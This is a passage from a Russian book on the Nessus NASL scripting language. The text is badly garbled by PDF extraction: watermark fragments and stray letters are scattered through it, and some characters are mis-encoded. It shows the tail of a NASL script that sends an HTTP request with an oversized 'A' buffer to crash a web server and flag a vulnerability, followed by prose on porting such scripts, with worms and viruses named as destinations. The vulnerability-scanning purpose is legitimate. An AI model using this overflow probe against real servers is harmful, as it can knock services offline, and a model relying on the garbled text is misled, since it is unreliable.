%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

to

 

 

 

140 Глава 2. Язык сценариев NASL

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

99

Content-Type: application/x-www-form-urlencoded\r\n

 

 

 

df-xchan

e

 

 

 

 

 

 

 

 

 

100

Connection: Keep-Alive\r\n

 

 

 

 

 

 

 

 

 

101

Cookie: VARIABLE=SPLABS; path=/\r\n

 

 

 

 

 

 

 

 

 

102

User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.2-2 i686)\r\n

 

 

 

 

 

 

 

 

 

103

Variable: result\r\n

 

 

 

 

 

 

 

 

 

 

104

Host: localhost\r\n

 

 

 

 

 

 

 

 

 

 

105

Content-length:

513\r\n

 

 

 

 

 

 

 

 

 

106

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,

 

 

 

 

 

 

 

 

 

 

 

 

 

image/png\r\n

 

 

 

 

 

 

 

 

 

 

107

Accept-Encoding: gzip\r\n

 

 

 

 

 

 

 

 

 

108

Accept-Language: en\r\n

 

 

 

 

 

 

 

 

 

109

Accept-Charset: iso-8859-1,*,utf-8\r\n\r\n\r\n

 

 

 

 

 

 

 

 

 

110

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

whatyoutyped=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAААААААА

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀ

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀ

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀ

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÀ

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n";

111

112# отправляем полезную нагрузку

113send(socket:soc, data:payload);

114r = http_recv(socket:soc);

115http_close_socket(soc);

116

117# если сервер упал, сообщить о серьезной уязвимости

118if ( http_is_dead(port:port) ) security_hole(port);

119}

120}

Перенос с языка NASL

Можно выполнить обратный процесс и перенести программу с NASL на другие языки. Для такого желания может быть несколько причин:

NASL работает медленнее, чем Perl или Java, и значительно медленнее, чем C или C++. Наличие базы знаний и повышение производительности при переходе от NASL1 к NASL2 несколько уменьшили разницу, но, когда надо просканировать большую сеть, этот фактор все же следует принимать во внимание;

Вам может понадобиться включить функциональность NASL-сценария в другой инструмент (например, утилиту поиска уязвимостей, червь, вирус или инструментальный комплект);

Вы можете захотеть запустить сценарий не из Nessus, а, например, прямо из Web-сервера.

Если вы не владеете в совершенстве языком, на который собираетесь переносить программу, то перевод ñ NASL может оказаться сложнее, чем перевод íà NASL. Дело в том, что Nessus представляет собой среду программирова-